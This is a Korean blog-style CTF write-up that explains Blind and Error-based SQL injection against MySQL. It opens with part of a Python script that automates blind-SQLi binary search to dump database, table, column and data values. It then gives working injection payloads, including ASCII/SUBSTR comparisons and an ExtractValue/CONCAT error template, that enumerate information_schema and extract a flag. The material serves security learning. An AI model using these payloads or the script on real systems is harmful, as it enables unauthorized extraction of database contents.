                result += finder(key, 97, 126, pos)
                pos += 1
                checker = 0
            elif(checker == 64):
                result += finder(key, 65, 96, pos)
                pos += 1
                checker = 0
            elif(checker == 47):
                result += finder(key, 48, 64, pos)
                pos += 1
                checker = 0
            elif(checker == 31):
                result += finder(key, 32, 47, pos)
                pos += 1
                checker = 0
        else:
            # print("F")
            if(checker == 0):
                break
            elif(checker == 126):
                checker = 96
            elif(checker == 96):
                checker = 64
            elif(checker == 64):
                checker = 47
            elif(checker == 47):
                checker = 31
            elif(checker == 31):
                result += '[?]'
                pos += 1
                checker = 0
    return result

def listBlindSQLi(key):
    idx = 0
    result_list = list()
    while(True):
        query = key + f" limit {idx},1"
        result = blindSQLi(query)
        if(result == ''):
            break
        else:
            result_list.append(result)
            idx += 1
    return result_list


db_name = blindSQLi('database()')

table_query = f"select table_name from information_schema.tables where table_schema='{db_name}' "
table_list = listBlindSQLi(table_query)

column_query = f"select column_name from information_schema.columns where table_name='{table_list[0]}'"
column_list = listBlindSQLi(column_query)

data_query = f"select {column_list[0]} from {table_list[0]}"
data_list = listBlindSQLi(data_query)

print("===============")
print(db_name)
print("===============")
print(table_list)
print("===============")
print(column_list,end='')
print(f" in table: {table_list[0]}")
print("===============")
print(data_list)

Blind SQL Injection

개발의 편의를 위해 에러메시지를 띄우는 것은 Error-based SQL Injection에 취약하다는 것을 저번 포스트에서 알 수 있었다.

하지만 에러메시지를 없앤다고 해서 SQLi로부터 자유로워지는 것은 아니다. 

로그인 페이지의 경우, 로그인이 성공적으로 됐다면 어떤 페이지로 리다이렉션이 되거나 하고, 실패했다면 실패했다는 문구가 뜨는 경우가 대부분이다.

혹은, ID의 중복 체크를 하는 경우에도 실패 / 성공 여부는 사용자에게 알려주어야만 한다.

이러한 필연적인 기능을 Blind SQL Injection에서 공격점으로 잡는다.

SQLi가 가능한 곳에서 공격자는 중복체크할 ID 이외 하나의 무언가를 `and`로 묶어 더 질문한다.

normaltic이라는 ID는 사용 가능해? and DB명의 첫글자는 a야?

DBMS(DB Management System)는 이러한 질문에 의심없이 답해준다.

`normaltic`이라는 ID가 사용가능하고, DB의 이름 첫 글자가 a라면 해당 질문은 `True`가 된다.

즉, `사용가능한 ID입니다`라는 답변을 받을 수 있는 것이다. 만약, DB 이름의 첫글자가 a가 아니라면 `사용가능하지 않은 ID`라는 답변을 받게 될 것이다.

`사용가능한 ID` / `사용가능하지 않은 ID`라는 답변을 기준으로 공격자는 DB명의 첫글자부터 마지막 글자까지 전부 알아낼 수 있다. 이러한 질문을 공격 input으로 표현하면 다음과 같다.

normaltic' and (SELECT SUBSTR(Database(),1,1))='a

`SUBSTR(str, pos, len)` 함수는 문자열(str)에서 pos 위치부터 len개의 글자를 뽑아내는 함수다. `Database` 함수를 통해 얻어낸 DB명 문자열로부터 첫번째 글자만 따오겠다는 것이다. 

하지만 이렇게 글자를 하나씩 물어보는 것은 굉장히 비효율적이다. 시간복잡도가 O(N²)다. 

Binary Search

물론 하나씩 물어보는 방법으로도 언젠가는 정보를 다 얻어낼 수 있겠지만, 조금 더 빠른 방법을 택한다면 효율을 높일 수 있다.

그 방법으로 적합한 것이 이진 탐색(Binary Search)다.

1부터 100까지의 숫자 중 상대가 고른 하나의 숫자를 맞추는 숫자 맞추기 게임을 예로 들자면, 다음과 같은 질문을 할 수 있다.

그 숫자는 50보다 큰가요?

맞다면 그 다음은 75보다 큰지, 또 맞다면 88보다 큰지 묻게 될 것이다. 이진 탐색 또한 이러한 방식으로 찾고자 하는 것을 탐색하는 방식이다. 이러한 방식을 채택하게 된다면 시간복잡도가 O(NlogN)이 될 것이다.

이렇게 시간복잡도가 O(N²)일 때와 O(NlogN)일 때는 차이가 크다. 

ASCII

컴퓨터 세상에서는 문자를 숫자로 표현해야 한다. 그 표준이 되어주는 것이 바로 `ASCII 코드`다. 예를 들어 A는 10진수로 65가 되고, d는 100이 된다. SQL에서도 문자를 숫자로 치환해줄 수 있다. 

`ASCII` 함수를 사용하면 된다.

SELECT ASCII('A')

이제 문자를 이렇게 숫자로 치환함으로써 이진 탐색이 가능해진다. 숫자, 알파벳, 특수문자는 ASCII에서 32부터 126까지에 해당한다. 그럼 그 중간값인 79를 기준으로 Blind SQL Injection을 진행할 수 있다.

SELECT (SELECT ASCII(SUBSTR(Database(),1,1)))>79

만약 DB명의 첫글자가 79(대문자 O)보다 크다면 이렇게 1(True)이 된다. 이 원리를 이 글 앞부분에 나온 질문에 적용하면 된다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>79 #

만약 `사용가능한 ID`가 나온다면, 79와 126의 사이, 103으로 다시 물어보고, 맞다면 또다시 103과 126의 사이... 이런 식으로 반복한다.

이렇게 반복하다보면 97보다 크고 98보다는 크지 않다는 것을 알게 된다. 그 말인즉, 첫글자는 98(소문자 b)이라는 것이다.

이를 두번째 글자에, 세번째 글자에, 마지막 글자에까지 적용한다면 최종적으로 DB의 이름을 알아낼 수 있다.

blindSqli

DB의 이름을 알아냈다면, 그 다음 순서로 테이블의 이름, 칼럼의 이름, Flag를 알아내면 된다.

해왔던대로 똑같이 알아내면 된다.

normaltic' and (SELECT ASCII(SUBSTR(table_name,1,1)) FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 0,1)>79 #

...

flagTable
member
plusFlag_Table

이렇게 세 개의 테이블이 존재한다.

normaltic' and (SELECT ASCII(SUBSTR(column_name,1,1)) FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1)>79 #

이 방식을 통해 `flagTable`이라는 테이블에는 

idx
flag

이렇게 두 개의 칼럼이 존재한다는 것을 알 수 있다.

그럼 마지막으로 `flag` 칼럼을 조회해 Flag를 알아내면 된다.

normaltic' and (SELECT ASCII(SUBSTR(flag,1,1)) FROM flagTable LIMIT 0,1)>79 #

segfault{Flag 모자이크}

Error-based SQL Injection

이 SQLi 기법은 에러 메시지에 기반을 둔다. 페이지를 만드는 데 있어, 개발자들은 개발 편의상 에러 메시지를 페이지에 띄우는 경우가 많다. 에러 메시지를 띄우지 않으면 페이지가 그저 500 Error를 보이며 어떤 부분이 잘못됐는지 알려주지 않기 때문이다.

하지만 이렇게 에러 메시지를 띄우는 것은 공격자에게 좋은 정보를 제공할 기회를 만들어준다.

SQL Injection (Error Based SQLi Basic)

Segfault CTF의 문제를 예시로 들겠다.

쿼리가 잘못됐거나 하는 등의 이유로 제대로 동작하지 않는다면 다음과 같이 에러 메시지가 뜬다.

주목할 곳은 `~~ to use near ''normaltic'''` 이 부분이다. 실제 SQL 쿼리의 일부분을 보여준다. Error-based SQLi는 이 점을 이용한다.

ExtractValue

`ExtractValue(xml_frag, xpath_expr)` 함수는 xml 형태의 내용(xml_frag) 중 특정한 표현식(xpath_expr)을 이용해 파싱을 해주는 함수다.

SELECT ExtractValue('<a>Hello world</a>', '/a')

예를 들어 이런 쿼리를 작성하면 다음과 같은 결과가 출력된다.

하지만 xpath_expr 자리에서 문법에 맞지 않는 문자열이 들어가게 된다면 실행되지 않을 것이다.

여기까지만 보면 SQLi에 도움이 될만한 것이 보이지 않지만, 중요한 점은 `ExtractValue` 함수를 실행하기 전 문자열들을 먼저 처리한다는 것이다.

SELECT ExtractValue('<a>Hello world</a>', (SELECT '/a'))

`ExtractValue` 함수 안의 파라미터인 `(SELECT '/a')`를 먼저 문자열 `'/a'`로 처리한다. 그래서 실제로 `ExtractValue`가 실행될 때는 이러한 쿼리일 것이다.

SELECT ExtractValue('<a>Hello world</a>', '/a')

그렇다면 필요한 문자열은 SELECT를 이용해 뽑아낸 뒤, ExtractValue 함수가 실행될 때 에러를 일으켜 에러메시지를 띄운다면 에러 메시지에서 원하는 문자열을 확인할 수 있을까?

가능하다. 그 방법이 바로 Error-based SQLi인 것이다.

그러기 위해서는 ExtractValue 함수가 실행될 때 에러를 일으킬 수 있어야 한다. xpath_expr에는 지켜야할 문법이 존재한다. 만약 그 문법을 어긴다면 에러가 난다. 아까처럼 `.`으로 시작하거나 `!`로 시작하는 등 여러 방법으로 에러를 일으킬 수 있다. 

하지만 얻고자 하는 문자열이 `!`이나 `.`으로 시작하지 않을 확률이 굉장히 높다. 그러므로 원하는 문자열 앞에 에러를 일으켜줄 문자를 붙여줄 필요가 있다.

SELECT CONCAT('.', 'Hi')

이럴 때 `CONCAT` 함수를 사용한다. 

CTF

아까 다시 그 CTF 문제로 돌아가보자. 위에서 언급한 내용들을 토대로 DB명을 알아내보자.

normaltic' and ExtractValue('a', CONCAT('.', (SELECT Database()))) #

이 입력이 들어가면 쿼리는 다음과 같이 완성될 것이다.

SELECT * FROM member WHERE id='normaltic' and ExtractValue('a', CONCAT('.', (SELECT Database()))) #'

`CONCAT`이 실행된 다음의 쿼리와 동치다.

SELECT * FROM member WHERE id='normaltic' and ExtractValue('a', '.errSqli') #'

여기서 xpath_expr 자리의 `'.errSqli'`가 문법에 어긋나기 때문에 에러가 발생한다.

그러한 에러는 페이지의 에러메시지로 표현되게 된다. 

이렇게 공격자는 DB명을 알아낼 수 있게 된다: `errSqli`

공격자는 공격을 쉽게 하기 위해 템플릿을 만들 수 있다.

a' and ExtractValue('a', CONCAT('.', (______))) #

(______) 자리에 이제 얻고자 하는 문자열이 나오도록 SELECT문을 짜면 되는 것이다.

 Capture The Flag

이제 이 Error-based SQLi 원리를 이용해 Flag까지 따내어 보겠다.

SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli' LIMIT 0,1

이제 이 쿼리를 아까 저 템플릿의 빈칸에 넣으면 공격 input이 완성된다.

a' and ExtractValue('a', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli' LIMIT 0,1))) #

이렇게 테이블의 이름을 얻어낼 수 있다. 테이블이 더 있을 수도 있으니 `LIMIT 0,1`을 조절해가며 전부 얻어내보겠다.

Flag는 `flagTable` 또는 `plusFlag_Table`에 있을 것으로 보인다.

이제 각각의 칼럼명을 전부 알아내자.

SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1

↓

a' and ExtractValue('a', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1))) #

두 테이블 모두 `idx`, `flag`라는 칼럼을 가지고 있다.

딱 봐도 `idx`보단 `flag`에 Flag가 담겨 있을 것 같으니 해당 칼럼의 값들을 조회해보면..

SELECT flag FROM flagTable LIMIT 0,1

↓

a' and ExtractValue('a', CONCAT('.', (SELECT flag FROM flagTable LIMIT 0,1))) #

Flag를 얻을 수 있다.